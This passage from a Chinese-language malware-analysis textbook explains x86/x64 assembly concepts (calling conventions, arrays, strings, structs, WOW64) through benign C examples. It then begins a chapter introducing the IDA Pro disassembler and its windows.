在之前的示例中,main函数调用了test函数,并通过将参数压入栈中(从右到左的顺序)传递给了test函数。main函数被称为调用者(或调用函数),而test被调用者(或被调用函数)。main函数(调用者)在函数调用后,通过执行add esp,8指令清理栈。该指令的作用是移除压入栈中的参数,并将栈指针(esp)恢复到函数调用前的位置;这样的函数被认为使用了cdecl调用约定。调用约定决定了如何传递参数以及在被调用函数完成后,谁(调用者被调用者)负责从栈中移除这些参数。大多数编译后的 C 程序通常遵循cdecl调用约定。在cdecl约定中,调用者将参数按从右到左的顺序压入栈中,且调用者在函数调用后负责清理栈。还有其他的调用约定,如stdcallfastcall。在stdcall中,参数由调用者按从右到左的顺序压入栈中,且被调用者被调用函数)负责清理栈。微软 Windows 利用stdcall约定来处理 DLL 文件导出的函数(API)。在fastcall调用约定中,前几个参数通过放入寄存器传递给函数,剩余的参数则按从右到左的顺序压入栈中,被调用者类似于stdcall约定负责清理栈。你通常会看到 64 位程序遵循fastcall调用约定。

9. 数组与字符串

数组是由相同数据类型组成的列表。数组元素存储在内存中的连续位置,这使得访问数组元素变得非常方便。以下定义了一个包含三个元素的整数数组,数组的每个元素在内存中占用 4 个字节(因为一个整数是 4 个字节长):

int nums[3] = {1, 2, 3}

数组名称nums是一个指向数组第一个元素的常量指针(也就是说,数组名称指向数组的基地址)。在高级语言中,访问数组元素时,你可以使用数组名称和索引。例如,你可以通过nums[0]访问第一个元素,通过nums[1]访问第二个元素,以此类推:

在汇编语言中,数组中任何元素的地址是通过三样东西计算得出的:

  • 数组的基地址

  • 元素的索引

  • 数组中每个元素的大小

当你在高级语言中使用 nums[0] 时,它被翻译为 [nums+0*<每个元素的字节大小>],其中 0 是索引,nums 表示数组的基址。从前面的例子中,你可以按如下方式访问整型数组的元素(每个元素的大小为 4 字节):

nums[0] = [nums+0*4] = [0x4000+0*4] = [0x4000] = 1
nums[1] = [nums+1*4] = [0x4000+1*4] = [0x4004] = 2
nums[2] = [nums+2*4] = [0x4000+2*4] = [0x4008] = 3

nums 整型数组的一般形式可以表示如下:


nums[i] = nums+i*4

以下展示了访问数组元素的一般格式:

[base_address + index * size of element]

9.1 反汇编挑战

将以下代码翻译为其高级等价形式。使用你目前为止学到的技巧和概念来解决这个挑战:

push ebp
mov ebp, esp
sub esp, 14h
mov dword ptr [ebp-14h], 1
mov dword ptr [ebp-10h], 2
mov dword ptr [ebp-0Ch], 3
mov dword ptr [ebp-4], 0

loc_401022:
 cmp dword ptr [ebp-4], 3
 jge loc_40103D
 mov eax, [ebp-4]
 mov ecx, [ebp+eax*4-14h]
 mov [ebp-8], ecx
 mov edx, [ebp-4]
 add edx, 1
 mov [ebp-4], edx
 jmp loc_401022

loc_40103D:
 xor eax, eax
 mov esp, ebp
 pop ebp
 ret

9.2 反汇编解决方案

在前面的代码中,前两条指令(push ebpmov ebp, esp)代表了函数序言。类似地,倒数第二条指令前的两行(mov esp,ebppop ebp)代表了函数尾声。我们知道,函数序言尾声并不是代码的核心部分,但它们用于为函数设置环境,因此可以移除以简化代码。第三条指令,sub,14h,表明为局部变量分配了20 (14h)字节空间;我们知道,这条指令同样不是代码的一部分(它只是用于为局部变量分配空间),也可以忽略。去除这些不属于实际代码的指令后,我们得到以下内容:

1\. mov dword ptr [ebp-14h], 1
2\. mov dword ptr [ebp-10h], 2  ➐
3\. mov dword ptr [ebp-0Ch], 3  ➑ 
4\. mov dword ptr [ebp-4], 0  ➍

loc_401022:  ➋
5\. cmp dword ptr [ebp-4], 3  ➌
6\. jge loc_40103D  ➌
7\. mov eax, [ebp-4]
8\. mov ecx, [ebp+eax*4-14h]  ➏
9\. mov [ebp-8], ecx
10\. mov edx, [ebp-4]  ➎
11\. add edx, 1  ➎ 
12\. mov [ebp-4], edx  ➎
13\. jmp loc_401022  ➊

loc_40103D:
14\. xor eax, eax
15\. ret

在 ➊ 处的回退跳转到 loc_401022 表示循环,➊ 和 ➋ 之间的代码是循环的一部分。让我们来识别 循环变量循环初始化条件检查更新语句。在 ➌ 处的两条指令是条件检查,它检查 [ebp-4] 的值是否 大于或等于 3;当此条件满足时,跳转到循环外部。同样的变量 [ebp-4] 在 ➍ 处被初始化为 0,并在 ➎ 处使用指令进行递增。所有这些细节表明,ebp-4 是循环变量,因此我们可以将 ebp-4 重命名为 iebp-4=i)。

在 ➏ 处,指令 [ebp+eax*4-14h] 代表数组访问。我们来尝试识别数组的各个组成部分(基址索引和每个元素的大小)。我们知道,局部变量(包括数组元素)是通过 ebp-<某个值>(即 ebp 的负偏移量)来访问的,因此我们可以将 [ebp+eax*4-14h] 重写为 [ebp-14h+eax*4]。这里,ebp-14h 表示数组在栈上的基址,eax 表示 索引,而 4 是数组每个元素的大小。由于 ebp-14h 是基址,意味着该地址也代表数组的第一个元素,如果我们假设数组名为 val,那么 ebp-14h = val[0]

现在我们已经确定了数组的第一个元素,接下来让我们尝试找出其他元素。从数组表示法来看,在这种情况下,我们知道每个元素的大小是4字节。所以,如果val[0] = ebp-14h,那么val[1]应该位于下一个更高的地址,即ebp-10hval[2]应该在ebp-0Ch,依此类推。注意到ebp-10hebp-0Ch在➐和➑处被引用。我们将ebp-10h重命名为val[1],将ebp-14h重命名为val[2]。我们仍然没有弄清楚这个数组包含多少个元素。首先,让我们替换所有已确定的值,并将前面的代码写成高级语言等效的形式。最后两条指令xor eax,eaxret可以写为return 0,所以伪代码现在如下所示:

val[0] = 1
val[1] = 2
val[2] = 3
i = 0
while (i<3) 
{
eax = i
ecx = [val+eax*4]  ➒
[ebp-8] = ecx  ➒
edx = i
edx = edx + 1  ➒
i = edx  ➒
}
return 0

在➒处,将所有在=运算符右侧的寄存器名称替换为其对应的值,我们将得到以下代码:

val[0] = 1
val[1] = 2
val[2] = 3
i = 0
while (i<3) 
{
eax = i  ➓
ecx = [val+i*4]  ➓
[ebp-8] = [val+i*4]
edx = i  ➓
edx = i + 1  ➓
i = i + 1
}
return 0

删除在➓处=运算符左侧包含寄存器名称的所有条目,我们得到以下代码:

val[0] = 1
val[1] = 2
val[2] = 3
i = 0
while (i<3) 
{
[ebp-8] = [val+i*4]
i = i + 1
}
return 0

从我们之前学到的知识,当我们使用nums[0]访问整数数组的元素时,它与[nums+0*4]是一样的,nums[1][nums+1*4]是一样的,这意味着nums[i]的一般形式可以表示为[nums+i*4],也就是nums[i] = [nums+i*4]。根据这个逻辑,我们可以在前面的代码中将[val+i*4]替换为val[i]

现在,我们在前面的代码中剩下了地址ebp-8;这可能是一个局部变量,也可能是数组val[3]的第四个元素(很难说)。如果我们假设它是局部变量,并将ebp-8重命名为xebp-8=x),那么得到的代码将如下所示。从以下代码中,我们可以看出,代码可能在循环遍历数组的每个元素(使用索引变量i),并将值分配给变量x。从代码中,我们还可以得出一个额外的信息:如果索引i被用来遍历数组的每个元素,那么我们可以猜测该数组可能包含三个元素(因为在退出循环之前,索引i的最大值为2):

val[0] = 1
val[1] = 2
val[2] = 3
i = 0
while (i<3) 
{
x = val[i]
i = i + 1
}
return 0

如果将ebp-8视为局部变量x,不再将ebp-8视为数组的第四个元素(ebp-8 = val[3]),那么代码将转换为以下形式。现在,代码可以被不同地解释,即数组现在有四个元素,代码会遍历前三个元素。在每次迭代中,值被赋给第四个元素:

val[0] = 1
val[1] = 2
val[2] = 3
i = 0
while (i<3) 
{
val[3] = val[i]
i = i + 1
}
return 0

正如你从前面的例子中可能已经猜到的那样,通常无法准确地将汇编代码反编译回原始形式,因为编译器生成代码的方式(而且,代码可能没有所有所需的信息)。不过,这种技术应该有助于确定程序的功能。下面显示的是反汇编输出的原始 C 程序;注意我们之前确定的内容与这里的原始代码之间的相似性:

int main()
{
  int a[3] = { 1, 2, 3 };
  int b, i;
  i = 0;
   while (i < 3)
   { 
     b = a[i]; 
     i++;
   }
  return 0;
}

9.3 字符串

字符串是字符数组。当你定义一个字符串时,如下所示,会在每个字符串的末尾添加一个空终止符字符串终止符)。每个元素占用 1 字节内存(换句话说,每个 ASCII 字符的长度是 1 字节):

char *str = "Let"

字符串名str是一个指针变量,它指向字符串中的第一个字符(换句话说,它指向字符数组的基地址)。下图显示了这些字符在内存中的存储方式:

从前面的例子中,你可以访问字符数组(字符串)的元素,如下所示:

str[0] = [str+0] = [0x4000+0] = [0x4000] = L
str[1] = [str+1] = [0x4000+1] = [0x4001] = e
str[2] = [str+2] = [0x4000+2] = [0x4002] = t

字符数组的一般形式可以表示如下:

str[i] = [str+i]

9.3.1 字符串指令

x86 系列处理器提供了字符串指令,这些指令用于操作字符串。指令逐步遍历字符串(字符数组),并以bwd作为后缀,表示操作数据的大小(124字节)。字符串指令使用寄存器eaxesiedi。寄存器eax,或其子寄存器axal,用于存储值。寄存器esi充当源地址寄存器(存储源字符串的地址),而edi目标地址寄存器(存储目标字符串的地址)。

执行完字符串操作后,esiedi寄存器会自动递增或递减(你可以将esiedi视为源索引和目标索引寄存器)。eflags寄存器中的方向标志(DF)决定了esiedi是否应该递增或递减。cld指令清除方向标志(df=0);如果df=0,那么索引寄存器(esiedi)会递增。std指令设置方向标志(df=1);在这种情况下,esiedi会递减。

9.3.2 从内存到内存的移动(movsx)

movsx 指令用于将一系列字节从一个内存位置移动到另一个位置。movsb 指令用于将 1 字节从由 esi 寄存器指定的地址复制到由 edi 寄存器指定的地址。movsw, movsd 指令将 2 字节和 4 字节从 esi 指定的地址复制到 edi 指定的地址。数据移动后,esiedi 寄存器会根据数据项的大小,分别增加或减少 1、2 或 4 字节。在以下汇编代码中,假设标记为 src 的地址包含字符串 "Good",并紧跟一个 空字符终止符0x0)。在执行 ➊ 指令后,esi 将包含字符串 "Good" 的起始地址(换句话说,esi 将包含字符 G 的地址),而 ➋ 指令将设置 EDI 包含一个内存缓冲区(dst)的地址。执行 ➌ 指令时,将会把 1 字节(字符 G)从 esi 指定的地址复制到 edi 指定的地址。执行完 ➌ 指令后,esiedi 都会增加 1,以指向下一个地址:

 ➊ lea esi,[src] ; "Good",0x0
 ➋ lea edi,[dst]
 ➌ movsb

以下截图将帮助你理解在执行 movsb 指令之前和之后发生了什么。若使用的是 movsw 而非 movsb,则会将 2 字节从 src 复制到 dst,同时 esiedi 会各自增加 2

9.3.3 重复指令(rep)

movsx 指令只能复制 1、2 或 4 字节,但要复制多字节内容时,需配合 rep 指令和字符串指令使用。rep 指令依赖于 ecx 寄存器,并根据 ecx 寄存器指定的次数重复执行字符串指令。执行完 rep 指令后,ecx 的值会递减。以下汇编代码将字符串 "Good"(包括 空字符终止符)从 src 复制到 dst

lea esi,[src] ; "Good",0x0
lea edi,[dst]
mov ecx,5
rep movsb

rep 指令与 movsx 指令一起使用时,相当于 C 编程中的 memcpy() 函数。rep 指令有多种形式,允许在执行循环时,根据条件提前终止。下表列出了不同形式的 rep 指令及其条件:

指令 条件
rep 重复直到 ecx=0
repe, repz 重复直到 ecx=0ZF=0
repne, repnz 重复直到 ecx=0ZF=1

9.3.4 从寄存器存储值到内存(stosx)

stosb指令将一个字节从 CPU 的al寄存器移动到由edi指定的内存地址(目标索引寄存器)。同样,stoswstosd指令将数据从ax(2 字节)和eax(4 字节)移动到由edi指定的地址。通常,stosb指令与rep指令一起使用,用于将缓冲区的所有字节初始化为某个值。以下汇编代码将目标缓冲区填充为5个双字(dword),所有值为0(换句话说,它将5*4=20字节的内存初始化为0)。当stosbrep一起使用时,它相当于 C 编程中的memset()函数:

mov eax, 0
lea edi,[dest]
mov ecx,5
rep stosd

9.3.5 从内存加载到寄存器(lodsx)

lodsb指令将由esi指定的内存地址中的一个字节移到al寄存器中。同样,lodswlodsd指令将由esi指定的内存地址中的 2 个字节和 4 个字节数据分别移到axeax寄存器中。

9.3.6 扫描内存(scasx)

scasb指令用于在字节序列中搜索(或扫描)某个字节值的存在或不存在。要搜索的字节值放置在al寄存器中,内存地址(缓冲区)放置在edi寄存器中。scasb指令通常与repne指令一起使用(repne scasb),并将ecx设置为缓冲区的长度;这会逐个字节地检查,直到找到al寄存器中的指定字节,或者直到ecx变为0

9.3.7 比较内存中的值(cmpsx)

cmpsb指令用于比较由esi指定的内存地址中的一个字节与由edi指定的内存地址中的一个字节,以确定它们是否包含相同的数据。cmpsb通常与reperepe cmpsb)一起使用,用于比较两个内存缓冲区;在这种情况下,ecx将被设置为缓冲区的长度,比较会持续进行,直到ecx=0或者两个缓冲区不相等。

10. 结构体

结构体将不同类型的数据组合在一起;结构体的每个元素称为成员。结构体成员通过常量偏移量进行访问。为了理解这个概念,来看一下以下的 C 程序。simpleStruct定义包含三个不同数据类型的成员变量(abc)。main函数在➊处定义了结构体变量(test_stru),并将结构体变量的地址(&test_stru)作为第一个参数在➋处传递给update函数。在update函数内部,成员变量被赋予了值:

struct simpleStruct
{
  int a;
  short int b;
  char c;
};

void update(struct simpleStruct *test_stru_ptr) {
 test_stru_ptr->a = 6;
 test_stru_ptr->b = 7;
 test_stru_ptr->c = 'A';
}

int main()
{
 struct simpleStruct test_stru;  ➊  
 update(&test_stru);  ➋
 return 0;
}

为了理解结构体成员是如何访问的,让我们来看一下update函数的反汇编输出。在➌位置,结构体的基地址被移动到eax寄存器中(记住,ebp+8表示第一个参数;在我们的例子中,第一个参数包含了structurebase address)。此时,eax寄存器包含了结构体的基地址。在➍位置,整数值6通过将偏移量0加到基地址上([eax+0],也就是[eax])赋值给第一个成员。因为整数占用4字节,注意到在➎位置,short int 值 7(存储在cx寄存器中)通过将偏移量4加到基地址上赋值给第二个成员。类似地,41h(即A)的值在➏位置通过将偏移量6加到基地址上赋值给第三个成员:

push ebp
mov ebp, esp
mov eax, [ebp+8]  ➌
mov dword ptr [eax], 6  ➍
mov ecx, 7
mov [eax+4], cx  ➎
mov byte ptr [eax+6], 41h  ➏
mov esp,ebp
pop ebp
ret

从前面的例子可以看出,每个结构体成员都有自己的偏移量,并通过将常量偏移量加到基地址来访问;因此,通用形式可以写成如下:

[base_address + constant_offset]

结构体在内存中看起来与数组非常相似,但你需要记住一些要点来区分它们:

  • 数组元素始终具有相同的数据类型,而结构体的成员不必具有相同的数据类型。

  • 数组元素大多是通过相对于基地址的变量偏移量访问(例如,[eax + ebx][eax+ebx*4]),而结构体则大多是通过相对于基地址的常量偏移量访问(例如,[eax+4])。

11. x64 架构

一旦你理解了 x86 架构的概念,就更容易理解 x64 架构了。x64 架构是作为 x86 的扩展设计的,与 x86 的指令集非常相似,但从代码分析的角度看,仍然有一些你需要注意的区别。本节涵盖了一些 x64 架构的差异:

  • 第一个区别是,32 位(4 字节)通用寄存器eaxebxecxedxesiediebpesp被扩展为 64 位(8 字节);这些寄存器被命名为raxrbxrcxrdxrsirdirbprsp。新增的八个寄存器命名为r8r9r10r11r12r13r14r15。如你所料,程序可以将寄存器访问为 64 位(RAXRBX等)、32 位(eaxebx等)、16 位(axbx等)或 8 位(albl等)。例如,你可以将RAX寄存器的下半部分访问为EAX,并将最底层的字访问为AX。你可以通过在寄存器名称后附加bwdq来访问寄存器r8-r15的字节、字、双字或四字。

  • x64 架构可以处理 64 位(8 字节)数据,所有的地址和指针都是 64 位(8 字节)大小。

  • x64 CPU 具有一个 64 位的指令指针(rip),它包含下一条将执行的指令的地址,并且还具有一个 64 位的标志寄存器(rflags),但目前只使用低 32 位(eflags)

  • x64 架构支持rip-relative寻址。现在可以使用rip寄存器来引用内存位置;也就是说,你可以访问当前指令指针偏移一定量的数据。

  • 另一个主要的区别是,在 x86 架构中,函数参数是按之前提到的方式推送到栈上的,而在 x64 架构中,前四个参数通过rcxrdxr8r9寄存器传递,如果程序包含额外的参数,它们则存储在栈上。我们来看一个简单的 C 代码示例(printf函数);该函数有六个参数:

printf("%d %d %d %d %d", 1, 2, 3, 4, 5);

以下是为 32 位(x86)处理器编译的 C 代码的反汇编;在这种情况下,所有参数都按逆序推送到栈上,在调用printf后,使用add esp,18h来清理栈。因此,很容易判断printf函数有六个参数:

push 5
push 4
push 3
push 2
push 1
push offset Format ; "%d %d %d %d %d"
call ds:printf
add esp, 18h

以下是为 64 位(x64)处理器编译的 C 代码的反汇编。第一个指令,在➊位置,分配了0x38(即 56 字节)空间到栈上。第一个、第二个、第三个和第四个参数存储在rcxrdxr8r9寄存器中(在调用printf之前),分别位于➋、➌、➍、➎。第五个和第六个参数存储在栈上(在分配的空间中),使用的指令位于➏和➐。在此情况下,没有使用push指令,因此很难判断内存地址是局部变量还是函数的参数。在此情况下,格式字符串有助于确定传递给printf函数的参数数量,但在其他情况下则不容易:

sub rsp, 38h  ➊ 
mov dword ptr [rsp+28h], 5  ➐
mov dword ptr [rsp+20h], 4  ➏
mov r9d, 3  ➎
mov r8d, 2  ➍
mov edx, 1  ➌
lea rcx, Format ; "%d %d %d %d %d"  ➋
call cs:printf

英特尔 64 位(x64)和 IA-32(x86)架构包含许多指令。如果你遇到本章没有涉及的汇编指令,可以从software.intel.com/en-us/articles/intel-sdm下载最新的英特尔架构手册,指令集参考(卷 2A、2B、2C 和 2D)可以从software.intel.com/sites/default/files/managed/a4/60/325383-sdm-vol-2abcd.pdf下载。

11.1 分析 64 位 Windows 上的 32 位可执行文件

64 位 Windows 操作系统可以运行 32 位可执行文件;为此,Windows 开发了一个名为WOW64(Windows 32 位在 Windows 64 位上的子系统)的子系统。WOW64 子系统允许在 64 位 Windows 上执行 32 位二进制文件。当你运行一个可执行文件时,它需要加载 DLL 以调用 API 函数与系统进行交互。32 位可执行文件不能加载 64 位 DLL(而 64 位进程也不能加载 32 位 DLL),因此微软为 32 位和 64 位分别提供了不同的 DLL。64 位二进制文件存储在\Windows\system32目录下,而 32 位二进制文件存储在\Windows\Syswow64目录下。

32 位应用程序在 64 位 Windows(Wow64)下运行时,可能表现与在本机 32 位 Windows 上的行为不同。当你在 64 位 Windows 上分析 32 位恶意软件时,如果你发现恶意软件访问了system32目录,实际上它是在访问syswow64目录(操作系统会自动将其重定向到Syswow64目录)。如果一个 32 位恶意软件(在 64 位 Windows 上执行时)在\Windows\system32目录写入文件,那么你需要检查\Windows\Syswow64目录中的文件。类似地,访问%windir%\regedit.exe会被重定向到%windir%\SysWOW64\regedit.exe。这种行为差异可能会在分析时造成混淆,因此理解这种差异非常重要,为了避免混淆,最好在 32 位 Windows 环境中分析 32 位二进制文件。

要了解 WOW64 子系统如何影响你的分析,请参考The WOW-Effect by Christian Wojner (www.cert.at/static/downloads/papers/cert.at-the_wow_effect.pdf)

12. 额外资源

以下是一些额外的资源,帮助你更深入地了解 C 编程、x86 和 x64 汇编语言编程:

13. 总结

在本章中,你学习了理解和解释汇编代码所需的概念和技巧。本章还强调了 x32 和 x64 架构之间的关键区别。你在本章中学习的反汇编和反编译(静态代码分析)技巧将帮助你更深入地理解恶意代码如何在底层运行。在下一章,我们将介绍代码分析工具(反汇编器和调试器),你将学习这些工具提供的各种功能如何简化你的分析,并帮助你检查与恶意二进制文件相关的代码。

第五章:使用 IDA 进行反汇编

代码分析通常用于在无法获得源代码的情况下理解恶意二进制文件的内部工作原理。在前一章中,你学习了代码分析的技巧和方法,如何解读汇编代码并理解程序的功能;我们使用的程序是简单的 C 程序,但当你处理恶意软件时,它可能包含数千行代码和数百个函数,这使得跟踪所有变量和函数变得困难。

代码分析工具提供了多种功能来简化代码分析。本章将介绍一个这样的代码分析工具,名为IDA Pro也称为IDA*)。你将学习如何利用 IDA Pro 的功能来增强你的反汇编工作。在深入了解 IDA 的功能之前,让我们先了解一下不同的代码分析工具。

1. 代码分析工具

代码分析工具可以根据其功能进行分类,具体如下所述。

反汇编器是一个将机器码转换回汇编代码的程序;它允许你进行静态代码分析。静态代码分析是一种可以用来解读代码以理解程序行为的技术,无需执行二进制文件。

调试器是一个也能进行代码反汇编的程序;除此之外,它还允许你以受控的方式执行已编译的二进制文件。使用调试器,你可以执行单条指令或选择的函数,而不是执行整个程序。调试器允许你进行动态代码分析,并帮助你在程序运行时检查可疑二进制文件的各个方面。

反编译器是一个将机器码转换为高级语言(伪代码)代码的程序。反编译器可以极大地帮助你进行逆向工程,并简化你的工作。

2. 使用 IDA 进行静态代码分析(反汇编)

Hex-Rays IDA Pro 是最强大且最受欢迎的商业反汇编/调试工具(www.hex-rays.com/products/ida/index.shtml);它被逆向工程师、恶意软件分析师和漏洞研究人员广泛使用。IDA 可以在多种平台上运行(Windows、Linux 和 macOS),并支持分析多种文件格式,包括 PE/ELF/Macho-O 格式。除了商业版本,IDA 还提供了另外两个版本:IDA 演示版(评估版)IDA 免费版; 这两个版本都有一些限制。你可以从 www.hex-rays.com/products/ida/support/download_freeware.shtml 下载适用于非商业用途的 免费版。在写这本书时,分发的免费版是 IDA 7.0;它允许你反汇编 32 位和 64 位 Windows 二进制文件,但你将无法使用免费版进行调试。你可以通过填写表格(out7.hex-rays.com/demo/request)请求 演示版(评估版);它允许你反汇编 32 位和 64 位 Windows 二进制文件,并且可以调试 32 位二进制文件(但不能调试 64 位二进制文件)。演示版的另一个限制是你无法保存数据库(稍后会在本章中介绍)。演示版和免费版都不支持 IDAPython商业版 的 IDA 不会缺少任何功能,并提供全年的免费电子邮件支持和升级服务。

在本节以及后续章节中,我们将探讨 IDA Pro 的各种功能,你将学习如何使用 IDA 进行静态代码分析(反汇编)。由于无法涵盖 IDA 的所有功能,本章节仅介绍与恶意软件分析相关的功能。如果你有兴趣深入了解 IDA Pro,建议阅读 Chris Eagle 的书籍,《The IDA Pro Book (第二版)》。为了更好地理解 IDA,建议你加载一个二进制文件,并在阅读本节及后续章节时探索 IDA 的各种功能。记住,IDA 不同版本的功能有所限制。如果你使用的是商业版,你将能够探索本书中涵盖的所有功能。如果你使用的是演示版,你只能探索反汇编和调试功能(仅限 32 位二进制文件),但无法测试IDAPython 脚本功能。如果你使用的是免费版,你只能试用反汇编功能(无法调试,也无法使用 IDAPython 脚本)。我强烈推荐使用商业版演示版的 IDA,使用这些版本你将能够体验本书中涵盖的所有或大部分功能。如果你希望查看其他调试工具以调试 32 位和 64 位二进制文件,可以使用 x64dbg(一个开源的 x64/x86 调试器),它将在下一章中介绍。了解了不同版本的 IDA 后,让我们开始探索其功能,你将明白它如何加速你的逆向工程和恶意软件分析工作。

2.1 在 IDA 中加载二进制文件

要加载可执行文件,启动 IDA Pro(右键点击并选择“以管理员身份运行”)。当你启动 IDA 时,它会简短地显示一个屏幕,展示你的许可信息;随后,你将看到以下界面。选择“新建”,并选择你希望分析的文件。如果你选择“开始”,IDA 会打开一个空的工作区。要加载文件,你可以直接拖放文件,或者点击“文件 | 打开”并选择文件:

您提供给 IDA 的文件将被加载到内存中(IDA 像 Windows 加载器一样工作)。为了将文件加载到内存中,IDA 会确定最佳加载器,并从文件头部确定在反汇编过程中应使用的处理器类型。选择文件后,IDA 会显示加载对话框(如以下截图所示)。从截图中可以看到,IDA 确定了合适的加载器(pe.ldwdos.ldw)以及处理器类型。如果您使用的是 IDA 演示版本,您将看不到“二进制文件”选项。该选项用于 IDA 加载它无法识别的文件。通常在处理 shellcode 时,您会使用此选项。默认情况下,IDA 不会在反汇编中加载PE 头部资源部分。通过使用手动加载复选框选项,您可以手动指定可执行文件应加载的基地址,并且 IDA 会提示您是否加载每个部分,包括 PE 头部:

点击“确定”后,IDA 将文件加载到内存中,反汇编引擎开始反汇编机器代码。反汇编后,IDA 会执行初步分析,识别编译器、函数参数、局部变量、库函数及其参数。可执行文件加载后,您将进入 IDA 桌面,显示程序的反汇编输出。

2.2 探索 IDA 显示界面

IDA 桌面将许多常见静态分析工具的功能集成到一个界面中。本节将帮助您了解 IDA 桌面及其各种窗口。以下截图显示了加载可执行文件后的 IDA 桌面。IDA 桌面包含多个标签(如 IDA 视图-A、Hex 视图-1 等);点击每个标签会显示不同的窗口。每个窗口显示从二进制文件提取的不同信息。您还可以通过查看 | 打开子视图菜单添加额外的标签:

2.2.1 反汇编窗口

在可执行文件加载后,您将看到反汇编窗口(也称为 IDA 视图窗口)。这是主要窗口,显示反汇编后的代码。您将主要使用这个窗口来分析二进制文件。

IDA 可以通过两种显示模式显示反汇编代码:图形视图文本视图图形视图是默认视图,当反汇编视图(IDA 视图)处于活动状态时,您可以通过按空格键在图形视图和文本视图之间切换。

在图形视图模式下,IDA 一次只显示一个函数,以流程图样式展示,且每个函数被分解成基本块。此模式有助于快速识别分支循环语句。在图形视图中,箭头的颜色和方向表示根据特定决策将采取的路径。条件跳转使用绿色红色箭头;绿色箭头表示如果条件为真,跳转将会发生,红色箭头表示跳转不会发生(正常流程)。蓝色箭头表示无条件跳转,而循环由向上(向后)的蓝色箭头表示。在图形视图中,虚拟地址默认不显示(这是为了最小化每个基本块所需显示的空间)。要显示虚拟地址信息,可以点击选项 | 常规并启用行前缀。

下图展示了main函数在图形视图模式下的反汇编。注意在地址0x0040100B0x0040100F处的条件检查。如果条件为真,控制会转移到地址0x0040101A(由绿色箭头表示),如果条件为假,控制会转移到0x00401011(由红色箭头表示)。换句话说,绿色箭头表示跳转,红色箭头表示正常流程:

文本视图模式下,整个反汇编呈线性展示。下图展示了相同程序的文本视图;虚拟地址默认以<节名称>:<虚拟地址>的格式显示。文本视图窗口的左侧部分称为箭头窗口,用于表示程序的非线性流程。虚线箭头表示条件跳转实线箭头表示无条件跳转,而向后箭头(指向上的箭头)表示循环:

2.2.2 函数窗口

函数窗口展示了 IDA 识别的所有函数,并显示每个函数的虚拟地址、函数大小以及其他各种属性。你可以双击任何函数跳转到选定的函数。每个函数都与各种标志(如RFL等)关联。你可以在帮助文件中获取这些标志的更多信息(按F1键)。一个有用的标志是L标志,表示该函数是库函数。库函数是编译器生成的,并不是恶意软件作者编写的;从代码分析的角度来看,我们关注的是分析恶意软件代码,而不是库代码。

2.2.3 输出窗口

输出窗口 显示 IDA 和 IDA 插件生成的消息。这些消息可以提供有关二进制分析和你所执行的各种操作的信息。你可以查看输出窗口的内容,以了解当可执行文件被加载时,IDA 执行的各种操作。

2.2.4 十六进制视图窗口

你可以点击 Hex View-1 标签来显示 十六进制窗口。十六进制窗口显示了一系列字节的十六进制转储和 ASCII 格式。默认情况下,十六进制窗口与反汇编窗口同步;这意味着,当你在反汇编窗口中选择任何项时,相应的字节会在十六进制窗口中高亮显示。十六进制窗口对于检查内存地址的内容非常有用。

2.2.5 结构窗口

点击 Structures 标签将打开结构窗口。结构窗口列出了程序中使用的标准数据结构的布局,并且还允许你创建自己的数据结构。

2.2.6 导入窗口

导入窗口 列出了二进制文件所导入的所有函数。下图显示了导入的函数以及这些函数所在的共享库(DLL)。有关导入的详细信息,请参见 第二章,静态分析

2.2.7 导出窗口

导出窗口 列出了所有已导出的函数。已导出的函数通常位于 DLL 文件中,因此当你分析恶意 DLL 时,这个窗口会非常有用。

2.2.8 字符串窗口

默认情况下,IDA 不显示 字符串窗口;你可以通过点击 View | Open Subviews | Strings(或 Shift + F12)来打开字符串窗口。字符串窗口显示从二进制文件中提取的字符串列表及其地址。默认情况下,字符串窗口仅显示长度至少为五个字符的 以 null 结尾的 ASCII 字符串。在 第二章,静态分析 中,我们看到恶意二进制文件可能使用 UNICODE 字符串。你可以配置 IDA 显示不同类型的字符串;为此,在字符串窗口中,右键点击 Setup(或 Ctrl + U),勾选 Unicode C-style(16 位),然后点击 OK

2.2.9 段窗口

段窗口可以通过 View | Open Subviews | Segments(或 Shift + F7)打开。段窗口列出了二进制文件中的各个段(.text.data 等)。显示的信息包含每个段的 起始地址结束地址内存权限。起始和结束地址指定了每个段在运行时映射到内存中的虚拟地址。

2.3 使用 IDA 改进反汇编

在本节中,我们将探索 IDA 的各种功能,您将学习如何将前一章中获得的知识与 IDA 提供的功能相结合,以增强反汇编过程。考虑以下简单程序,它将一个局部变量的内容复制到另一个局部变量中:

int main()
{
  int x = 1;
  int y;
  y = x;
  return 0;
}

在编译上述代码并将其加载到 IDA 后,程序反汇编为以下内容:

.text:00401000 ; Attributes: bp-based frame ➊
.text:00401000
.text:00401000 ; ➋ int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000  ➐ _main proc near
.text:00401000
.text:00401000    var_8= dword ptr -8  ➌
.text:00401000    var_4= dword ptr -4  ➌
.text:00401000    argc= dword ptr 8   ➌
.text:00401000    argv= dword ptr 0Ch  ➌
.text:00401000    envp= dword ptr 10h  ➌
.text:00401000
.text:00401000    push ebp  ➏   
.text:00401001    mov ebp, esp  ➏
.text:00401003    sub esp, 8  ➏  .text:00401006    mov ➍ [ebp+var_4], 1
.text:0040100D    mov eax, [ebp+var_4] ➍
.text:00401010    mov ➎ [ebp+var_8], eax
.text:00401013    xor eax, eax 
.text:00401015    mov esp, ebp  ➏
.text:00401017    pop ebp  ➏
.text:00401018    retn

当一个可执行文件被加载时,IDA 会对每个反汇编的函数进行分析,以确定栈帧的布局。除此之外,IDA 还使用各种签名并运行模式匹配算法,来判断反汇编的函数是否与 IDA 已知的任何签名匹配。在➊处,注意在执行初步分析后,IDA 添加了一条注释(该注释以分号开始),它告诉你使用的是基于ebp的栈帧;这意味着ebp寄存器被用来引用局部变量和函数参数(关于ebp基栈帧的详细内容,我们在前一章讨论函数时已涉及)。在➋处,IDA 利用其强大的检测功能识别该函数为main函数,并插入了function prototype注释。在分析过程中,这一功能对于确定函数接受的参数数量以及它们的数据类型非常有用。

在➌处,IDA 为你提供了栈视图的概述;IDA 能够识别出局部变量函数参数。在main函数中,IDA 识别出了两个局部变量,它们分别被自动命名为var_4var_8。IDA 还告诉你,var_4对应值-4,而var_8对应值-8-4-8表示相对于ebp帧指针)的偏移量;这是 IDA 的一种方式,表明它在代码中将var_4替换为-4,将var_8替换为-8。注意在➍和➎处的指令,你可以看到 IDA 将内存引用[ebp-4]替换为[ebp+var_4],将[ebp-8]替换为[ebp+var_8]

如果 IDA 没有替换这些值,那么在➍和➎处的指令将会像这里展示的那样,你将不得不手动标记所有这些地址(正如我们在前一章中讨论过的)。

